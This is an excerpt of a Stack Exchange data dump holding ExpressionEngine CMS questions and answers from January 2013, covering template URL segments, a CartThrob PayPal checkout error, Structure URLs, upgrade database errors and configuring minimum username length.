  <row Id="2256" PostTypeId="1" AcceptedAnswerId="2272" CreationDate="2013-01-03T13:10:39.010" Score="2" ViewCount="201" Body="&lt;p&gt;I have a template group called &quot;about-us&quot; and within that group are 2 types of templates, one is called &quot;about-content&quot; and the other is called &quot;where-and-when&quot;.  I've noticed when I navigate to the page it displays this url &quot;...about-us/about-content/where-and-when&quot;.  But where I actually want the url to point is &quot;about-us/where-and-when&quot;.  I'm doing  something wrong, and I can't figure out what it is.  Its probably super simple and I'm going to feel like an idiot when you tell me the answer;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;content&quot; disable=&quot;categories|member_data|pagination&quot;     url_title_path=&quot;where-and-when&quot;}&#xA;        &amp;lt;h2 class=&quot;section-header&quot;&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;p&amp;gt;{page_content}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;img src=&quot;{image}&quot; alt=&quot;Franklin Vineyard Church&quot; title=&quot;Franklin Vineyard Church&quot;/&amp;gt;&#xA;        &amp;lt;p&amp;gt;{snp_when}&amp;lt;/p&amp;gt;&#xA;        {snp_location}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also have this code that displays links in the sidebar to other entries. I'm thinking this may be the problem, because I'm clicking the link in this div to get to the &quot;where-and-when&quot; page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2 class=&quot;section-header&quot;&amp;gt;About Us&amp;lt;/h2&amp;gt;&#xA;        {exp:channel:entries channel=&quot;content&quot; dynamic=&quot;off&quot;}&#xA;        {if url_title != last_segment}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{title_permalink=&quot;about-us/about-content&quot;}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/if}&#xA;        {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="678" LastEditorUserId="101" LastEditDate="2013-01-03T17:25:10.787" LastActivityDate="2013-01-03T18:34:18.347" Title="How do I remove the second segment from my URL?" Tags="|channel|url|url-title|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2257" PostTypeId="2" ParentId="2253" CreationDate="2013-01-03T13:54:05.877" Score="4" Body="&lt;p&gt;Nonprofit_tech's suggestion of P&amp;amp;T List is a good one. If that is too light-weight, then there is &lt;a href=&quot;http://devot-ee.com/add-ons/grid-lite&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Grid Lite&lt;/strong&gt;&lt;/a&gt;, which is a free, pared-down Matrix clone.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-01-03T13:59:24.540" LastActivityDate="2013-01-03T13:59:24.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2258" PostTypeId="1" CreationDate="2013-01-03T14:14:27.863" Score="4" ViewCount="453" Body="&lt;p&gt;Having a serious issue with Cart Throb:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When checking out I am getting this error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Your payment failed: Failed: The totals of the cart item amounts do not match order amounts. 10413 Try checking out again »&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using Paypal Express &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cart Throb version 2.2.2&#xA;EE version 2.5.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked my plugin and this line is already there: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!empty($_POST['PR']) || !empty($_POST['price']) || $this-&amp;gt;order('pp_alt_total'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What could be causing this error?  Please help this is a live store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my checkout code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{exp:cartthrob:total_items_count}&quot; &amp;gt; 0}&#xA;&#xA;   &amp;lt;div id=&quot;checkout_totals&quot;&amp;gt;&#xA;    &amp;lt;table&amp;gt;&#xA;     &amp;lt;tr&amp;gt;&#xA;      &amp;lt;td&amp;gt;&amp;lt;span class=&quot;sale_price&quot;&amp;gt;Total&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&#xA;      &amp;lt;td&amp;gt;&amp;lt;span class=&quot;sale_price&quot;&amp;gt;&amp;lt;span class=&quot;cart_total&quot;&amp;gt;{exp:cartthrob:cart_total}&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&#xA;     &amp;lt;/tr&amp;gt;       &#xA;     &amp;lt;tr&amp;gt;&#xA;      &amp;lt;td&amp;gt;Subtotal&amp;lt;/td&amp;gt;&#xA;      &amp;lt;td&amp;gt;&amp;lt;span class=&quot;cart_subtotal&quot;&amp;gt;{exp:cartthrob:cart_subtotal}&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&#xA;     &amp;lt;/tr&amp;gt;&#xA;     &amp;lt;tr&amp;gt;&#xA;      &amp;lt;td&amp;gt;Shipping&amp;lt;/td&amp;gt;&#xA;      &amp;lt;td&amp;gt;&amp;lt;span class=&quot;cart_shipping&quot;&amp;gt;{exp:cartthrob:cart_shipping}&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&#xA;     &amp;lt;/tr&amp;gt;&#xA;     &amp;lt;tr&amp;gt;&#xA;      &amp;lt;td&amp;gt;Tax&amp;lt;/td&amp;gt;&#xA;      &amp;lt;td&amp;gt;&amp;lt;span class=&quot;cart_tax&quot;&amp;gt;{exp:cartthrob:cart_tax}&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&#xA;     &amp;lt;/tr&amp;gt;&#xA;     &amp;lt;tr&amp;gt;&#xA;      &amp;lt;td&amp;gt;Discount&amp;lt;/td&amp;gt;&#xA;      &amp;lt;td&amp;gt;-&amp;lt;span class=&quot;cart_discount&quot;&amp;gt;{exp:cartthrob:cart_discount}&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&#xA;     &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;   &amp;lt;div id=&quot;checkout_notes&quot;&amp;gt;&#xA; *All fields are required&amp;lt;/p&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;  {!-- add secure_action=&quot;yes&quot; parameter if you want to submit this form using HTTPS:// connection --}&#xA;  {exp:cartthrob:checkout_form &#xA;   return=&quot;shop/order_info&quot;}&#xA;&#xA;   {!-- {if {exp:cartthrob:view_setting allow_gateway_selection=&quot;yes&quot;}}&#xA;    &amp;lt;p&amp;gt;&amp;lt;label for=&quot;gateway&quot;&amp;gt;Select a payment method&amp;lt;/label&amp;gt;&#xA;    {exp:cartthrob:gateway_select id=&quot;gateway&quot;}&amp;lt;/p&amp;gt;&#xA;   {/if}--}&#xA;   Coupon: &amp;amp;lt;input type=&quot;text&quot; name=&quot;coupon_code&quot; /&amp;amp;gt; &#xA;   &amp;lt;div id=&quot;checkout_form_gateway_fields&quot;&amp;gt;&#xA;   {gateway_fields}&#xA;   &amp;lt;/div&amp;gt;&#xA;&#xA;      &amp;amp;lt;input type=&quot;submit&quot; class=&quot;cart_submit_button&quot; value=&quot;Complete Checkout&quot; /&amp;amp;gt;&#xA;  {/exp:cartthrob:checkout_form}&#xA;&#xA;&#xA;  {if:else}&#xA;   &amp;lt;p&amp;gt;You have no items in your cart. &amp;lt;a href=&quot;{path=shop/index}&quot;&amp;gt;Continue shopping&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;  {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastEditorUserId="451" LastEditDate="2013-01-03T20:04:04.073" LastActivityDate="2014-03-19T22:05:59.157" Title="Cart Throb: The totals of the cart item amounts do not match order amounts. 10413" Tags="|cartthrob|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2259" PostTypeId="2" ParentId="2236" CreationDate="2013-01-03T14:40:37.360" Score="2" Body="&lt;p&gt;Channel Videos is a great solution for simplifying the process of embedding videos for clients.It has a visual interface so that the client can see a thumbnail of the video prior to publishing. You can search videos by keyword from the CP or just add the Youtube url - which is a lot easier than customising the embed code and copy/pasting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally you can set the variables for the video height/width etc within your templates which will prevent the end user from embedding videos that are too large or too small -  that's something you could not control with a copy/paste of the embed code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it supports both Youtube and Vimeo.&lt;/p&gt;&#xA;" OwnerUserId="98" LastActivityDate="2013-01-03T14:40:37.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2260" PostTypeId="2" ParentId="2239" CreationDate="2013-01-03T14:59:18.280" Score="3" Body="&lt;p&gt;This is really a limitation of the EE member module. Safecracker Registration works by converting the existing Member module to use Safecracker and channel entries, but it's all the Member module under the hood.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is a good feature request and something I would have to implement on my own, since it's not supported by first-party libraries.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-01-03T14:59:18.280" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2261" PostTypeId="2" ParentId="2222" CreationDate="2013-01-03T15:20:18.613" Score="6" Body="&lt;p&gt;Have you considered using Freeform? &lt;a href=&quot;http://devot-ee.com/add-ons/freeform&quot;&gt;http://devot-ee.com/add-ons/freeform&lt;/a&gt; It is not advised to run PHP inside of your templates for various reasons. You are much better off using an addon to accomplish this.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2013-01-03T15:20:18.613" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2262" PostTypeId="1" AcceptedAnswerId="2268" CreationDate="2013-01-03T16:05:36.163" Score="4" ViewCount="105" Body="&lt;p&gt;I have been tasked with upgrading EE for a new client. Upon viewing the content directly in the database - I am seeing, within each closing html tag {filedir_15}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;This is some content&amp;lt;{filedir_15}h3&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It would appear, that at some point - someone created a File Upload Directory with a &quot;URL of Upload Directory&quot; of /. Sigh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would APPEAR that EE has replaced all forward slashes in the content with {filedir_15}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone seen this before? Is there any recourse? I'm afraid to simply delete the upload directory, because currently the forward facing site is not BROKEN because those forward slashes in the HTML are being added in (i'm assuming) through the standard replacement of the {filedir_15} variable. If I remove that reference, the code will likely simply render with the filedir variable in place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="271" LastActivityDate="2013-01-03T17:12:18.987" Title="Mystery {filedir_N} appearing in closing HTML tags" Tags="|file-uploads|wysiwyg|file-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2263" PostTypeId="2" ParentId="2222" CreationDate="2013-01-03T16:46:03.257" Score="1" Body="&lt;p&gt;I would recommend using &lt;a href=&quot;http://devot-ee.com/add-ons/freeform&quot; rel=&quot;nofollow&quot;&gt;FreeForm&lt;/a&gt;. The free version will do exactly what you need as well as saving the contact submissions to the database allowing your client to view them within the CP.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-01-03T16:46:03.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2264" PostTypeId="1" CreationDate="2013-01-03T16:56:30.130" Score="3" ViewCount="178" Body="&lt;p&gt;I've created a segment variable for brands that shows in the URL. I want to write an {if} statement that looks at the URL segment for brand and then brings back the products that match the playa field for brand. (ie. If the URL segment says BEAM I want to show all BEAM products that have been selected from the Playa filed). How do I go about doing this? Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a very basic example. This doesn't include the code to only show products with the same name as {segment_6}. Any suggestions? I hope this helps.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--I only want to show the code below if segment_6 has something--&amp;gt;&#xA;{if segment_6 != &quot;&quot;}  &#xA;    {exp:store:search channel=&quot;products&quot;}&#xA;        {exp:store:product entry_id=&quot;{entry_id}&quot;}&#xA;&#xA;                &amp;lt;!--I want all of this code to display the products that match segment_6 with the Playa field brand selected in an entry--&amp;gt;&#xA;                {exp:playa:children field=&quot;brand&quot;}&#xA;                    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;                {/exp:playa:children}&#xA;&#xA;                &amp;lt;!--this should also display based on the brand in the playa field above--&amp;gt;                                                     &#xA;                {product_description}&#xA;            {product_image}                                         &#xA;&#xA;        {/exp:store:product}        &#xA;    {/exp:store:search}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OZDeF.jpg&quot; alt=&quot;The URL including segment_6. Segment_4 and Segment_5 are comparing prices&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="311" LastEditorUserId="311" LastEditDate="2013-01-04T15:14:13.863" LastActivityDate="2013-01-04T15:14:13.863" Title="Using a Segment Variable to display all products with the same title in a Playa field" Tags="|ee2|playa|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2265" PostTypeId="1" AcceptedAnswerId="5690" CreationDate="2013-01-03T17:01:39.987" Score="1" ViewCount="457" Body="&lt;p&gt;I'm trying to use the MX QR Code Generator and using a very basic example from the website like so;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src='{exp:qr_code type=&quot;&quot; action=&quot;tel&quot; tel=&quot;1234567&quot; data=&quot;ExpressionEngine&quot; title=&quot;&quot;}' alt=&quot;QR code&quot;/&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I load the page Safari just throws &quot;Safari can’t open the page “http://mydomain.tld”. The error is: “cannot decode raw data” (NSURLErrorDomain:-1015)&quot; error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a type parameter in the code as well, but the documentation on the site has no reference to this.&lt;/p&gt;&#xA;" OwnerUserId="466" LastEditorUserId="150" LastEditDate="2013-01-03T18:02:34.740" LastActivityDate="2013-02-01T17:33:06.563" Title="MX QR Code Generator: &quot;cannot decode raw data&quot;" Tags="|add-on|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2266" PostTypeId="1" AcceptedAnswerId="2284" CreationDate="2013-01-03T17:01:49.230" Score="5" ViewCount="218" Body="&lt;p&gt;I am currently building a web app that allows users to create a list of their own contacts which are then stored as channel entries. This generally works fine however the Structure URLs are not being generated as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created the form as below. The dynamic title is working and is being set on a simple jquery keyup handler. When I submit the form using ajax, the entry is created along with all the relevant data but rather than the entry being accessed at domain.com/channel/john-doe it is found directly at domain.com/john-doe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have gone as far as to use the Structure module's suggested additional tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;structure_template_id&quot; value=&quot;21&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;structure_parent_id&quot; value=&quot;{structure:parent:entry_id}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but there was no joy and I simply experienced the exact same result. Any suggestions? Full code below (not including the additional structure fields).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker channel=&quot;contacts&quot; dynamic_title=&quot;[contact_name]&quot; safecracker_head=&quot;no&quot; include_jquery=&quot;no&quot; return=&quot;safecracker/ENTRY_ID&quot; json=&quot;yes&quot; id=&quot;addContact&quot;}&#xA;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;contact_list_designation&quot; value=&quot;A&quot; id=&quot;contact_list_designation&quot;/&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;contact_name&quot;&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;content-bar bar light shiny top&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;section&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;center&quot;&amp;gt;&#xA;      &amp;lt;div&amp;gt;&#xA;        &amp;lt;div class=&quot;title&quot;&amp;gt;New Contact&amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;grid-container fieldset-holder&quot;&amp;gt;&#xA;  &amp;lt;fieldset class=&quot;inline&quot;&amp;gt;&#xA;    &amp;lt;label class=&quot;grid-25&quot;&amp;gt;Type&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;grid-75&quot;&amp;gt;&#xA;      &amp;lt;div data-toggle=&quot;buttons-radio&quot; class=&quot;buttonset cf block designation_radios&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;button grid-33 active-primary active&quot;&amp;gt;&amp;lt;span&amp;gt;A&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;button grid-33 active-primary&quot;&amp;gt;&amp;lt;span&amp;gt;B&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;button grid-33 active-primary&quot;&amp;gt;&amp;lt;span&amp;gt;C&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&#xA;  &amp;lt;fieldset class=&quot;grid-50&quot;&amp;gt;&#xA;    &amp;lt;label&amp;gt;Firstname&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;contact_firstname&quot;&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;  &amp;lt;fieldset class=&quot;grid-50&quot;&amp;gt;&#xA;    &amp;lt;label&amp;gt;Lastname&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;contact_lastname&quot;&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;  &amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;label&amp;gt;Company&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;contact_company&quot;&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;  &amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;label&amp;gt;Email&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; placeholder=&quot;name@example.com&quot; name=&quot;contact_email&quot;&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="695" LastEditorUserId="55" LastEditDate="2013-01-03T20:10:35.507" LastActivityDate="2013-01-03T21:11:33.823" Title="Safecracker not creating entries with correct url for Structure" Tags="|safecracker|url|structure|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2267" PostTypeId="2" ParentId="2230" CreationDate="2013-01-03T17:04:18.440" Score="11" Body="&lt;p&gt;I've had the need to do this a number of times, particularly on sites that have press releases. For some reason, press release titles can be insanely long. This is all we ever have to do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;strong&gt;system/expressionengine/controllers/cp/content_publish.php&lt;/strong&gt;, appx line 2279, change this to what you desire:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'title' =&amp;gt; array(&#xA;  ...&#xA;  'field_maxl' =&amp;gt; 255&#xA;),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need to alter the URL title too, look for the same thing in the url_title array below it, around line 2292:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'url_title' =&amp;gt; array(&#xA;  ...&#xA;  'field_maxl' =&amp;gt; 75&#xA;),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only other thing we do is alter the database column in exp_channel_titles accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1DXap.png&quot; alt=&quot;ALter the DB fields to match your max length&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless I'm missing something, that's all we've ever needed to do. As for updating this to work on Structure titles, I'm sure the method is similar, but I don't use Structure very often so I can't really speak to it. Sounds like you're on the right path with where you're looking. I'm not sure why you would need to alter any of the JavaScript around the title fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As always, you should document your core hacks, no matter how simple they are.&lt;/p&gt;&#xA;" OwnerUserId="380" LastActivityDate="2013-01-03T17:04:18.440" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2268" PostTypeId="2" ParentId="2262" CreationDate="2013-01-03T17:12:18.987" Score="4" Body="&lt;p&gt;I haven't seen this before, but we've never had anyone create an upload directory of &lt;code&gt;/.&lt;/code&gt; before. My thoughts are you can do a FIND and REPLACE on template to correct, FIND &lt;code&gt;&amp;lt;{filedir_15}&lt;/code&gt; and REPLACE with &lt;code&gt;&amp;lt;/&lt;/code&gt; that should take care of all the closing tags, but I'm not certain if there maybe other '/' that might get skipped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I included the &amp;lt; so that you specifically get all closing tags, but any other references to just &lt;code&gt;{filedir_15}&lt;/code&gt; should remain, incase there are images or pdfs using the tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So…&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Rename the file_upload directory from / to whatever;&lt;/li&gt;&#xA;&lt;li&gt;Use Find and Replace as specified above;&lt;/li&gt;&#xA;&lt;li&gt;Assuming rename of / directory kept file path &lt;code&gt;{filedir_15}&lt;/code&gt; your good, if not, you'd need to find the remaining &lt;code&gt;{filedir_15}&lt;/code&gt; and replace with new &lt;code&gt;{filedir_xx}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That should be it. Some tips…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is relatively straight forward, but &lt;strong&gt;backup your database&lt;/strong&gt;, then you can select the ALL TEMPLATES option in the FIND and REPLACE tool.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-03T17:12:18.987" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2269" PostTypeId="1" AcceptedAnswerId="2298" CreationDate="2013-01-03T17:43:11.733" Score="5" ViewCount="606" Body="&lt;p&gt;I'm building out a multi-language site using &lt;a href=&quot;http://eeharbor.com/transcribe/&quot; rel=&quot;noreferrer&quot;&gt;Transcribe&lt;/a&gt; which is coming along nicely. I'm having one issue with my navigation snippet (using low variables early parsing turned on).&lt;/p&gt;&#xA;&lt;p&gt;I've got the following conditional working elsewhere in the site (in an embedded template)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{if '{transcribe:language_abbreviation}' ==&amp;quot;en&amp;quot;}{category_name}{/if}{if '{transcribe:language_abbreviation}' ==&amp;quot;fr&amp;quot;}{category_name_fr}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However when I use the same conditional inside the lv_nav snippet it fails to render anything. Relevant code below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&amp;quot;people&amp;quot; style=&amp;quot;linear&amp;quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;{path='about/people'}&amp;quot;&amp;gt;{if '{transcribe:language_abbreviation}' ==&amp;quot;en&amp;quot;}{category_name}{/if}{if '{transcribe:language_abbreviation}' ==&amp;quot;fr&amp;quot;}{category_name_fr}{/if}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If instead of using the conditional I just use &lt;code&gt;{category_name}&lt;/code&gt; everything works fine except that on the French pages I've got English displaying and not French.&lt;/p&gt;&#xA;&lt;p&gt;Any ideas why this is happening? I've also tried replacing &lt;code&gt;{transcribe:language_abbreviation}&lt;/code&gt; with &lt;code&gt;{exp:transcribe:language_abbreviation}&lt;/code&gt; and there was no change.&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-01-04T08:39:52.613" Title="Conditional with category custom field, transcribe &amp; low variables not working as expected" Tags="|conditionals|template-scripting|multilingual|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2270" PostTypeId="1" AcceptedAnswerId="2342" CreationDate="2013-01-03T18:18:46.713" Score="2" ViewCount="93" Body="&lt;p&gt;I am trying to bring a slightly older site back to life. It's currently on 2.1.4 and I am trying to pull it right up to date. There appears to be something going wrong somewhere as I am receiving database errors...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is in or around ud_215 I think as this is where the error is reported. It appears to be attempting to create some duplicate fields in db tables - although I am aware that this may be because I have attempted to run the updater a couple of times. I've tried dropping the fields manually from the tables and re-running but I continue to get errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ended up changing the software version in config.php to show as 215 and everything appeared to run okay - but on accessing the control panel I can tell that there up upload path issues somewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate it's a long shot that someone else may have had similar issues - but where better to ask!? ;-)&lt;/p&gt;&#xA;" OwnerUserId="609" LastActivityDate="2013-01-05T14:16:15.223" Title="Database errors on update - issue with updates/ud_215" Tags="|error|updating|update|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2271" PostTypeId="2" ParentId="2270" CreationDate="2013-01-03T18:28:26.867" Score="1" Body="&lt;p&gt;I had a serious of similar issues happen to me during an upgrade from EE 1.7.3 to EE 2.5.2. The darn duplicate field, can't add 'fieldname' cause it already exists. First thing, first… did you perform a backup of your database? If yes, can you rollback full to EE 2.1.4?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then re-start the upgrade process from there. It's not ideal, but will get you a clean beginning.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-03T18:28:26.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2272" PostTypeId="2" ParentId="2256" CreationDate="2013-01-03T18:34:18.347" Score="2" Body="&lt;p&gt;If you're looking to have a URL structure of domain.com/about-us/where-and-when your sidebar would then need to have &quot;about-content&quot; removed as a segment. That should be all you need to change to have the links establish the URL structure you're looking for.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-01-03T18:34:18.347" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2273" PostTypeId="1" AcceptedAnswerId="2275" CreationDate="2013-01-03T19:22:01.840" Score="4" ViewCount="195" Body="&lt;p&gt;I am trying to register a member with a two character username. Is this a possibility? I'd imagine I would need to hack the core, but is this a good idea? Where would I even get started with it?&lt;/p&gt;&#xA;" OwnerUserId="134" LastActivityDate="2013-01-03T19:40:44.007" Title="How can I have a username shorter than 4 characters?" Tags="|members|users|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2274" PostTypeId="2" ParentId="2273" CreationDate="2013-01-03T19:38:50.180" Score="1" Body="&lt;p&gt;You can override minimum username length with a config variable. You can also change the minimum password length too, but I suggest not:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['un_min_len'] = '2';&#xA;$config['pw_min_len'] = '5';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-01-03T19:38:50.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2275" PostTypeId="2" ParentId="2273" CreationDate="2013-01-03T19:40:44.007" Score="5" Body="&lt;p&gt;Indeed, not long ago this would require a core hack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure exactly when this was fixed, but anyway these days you can add the following to your config.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['un_min_len'] = 2; // allow a username w/only two characters&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="189" LastActivityDate="2013-01-03T19:40:44.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
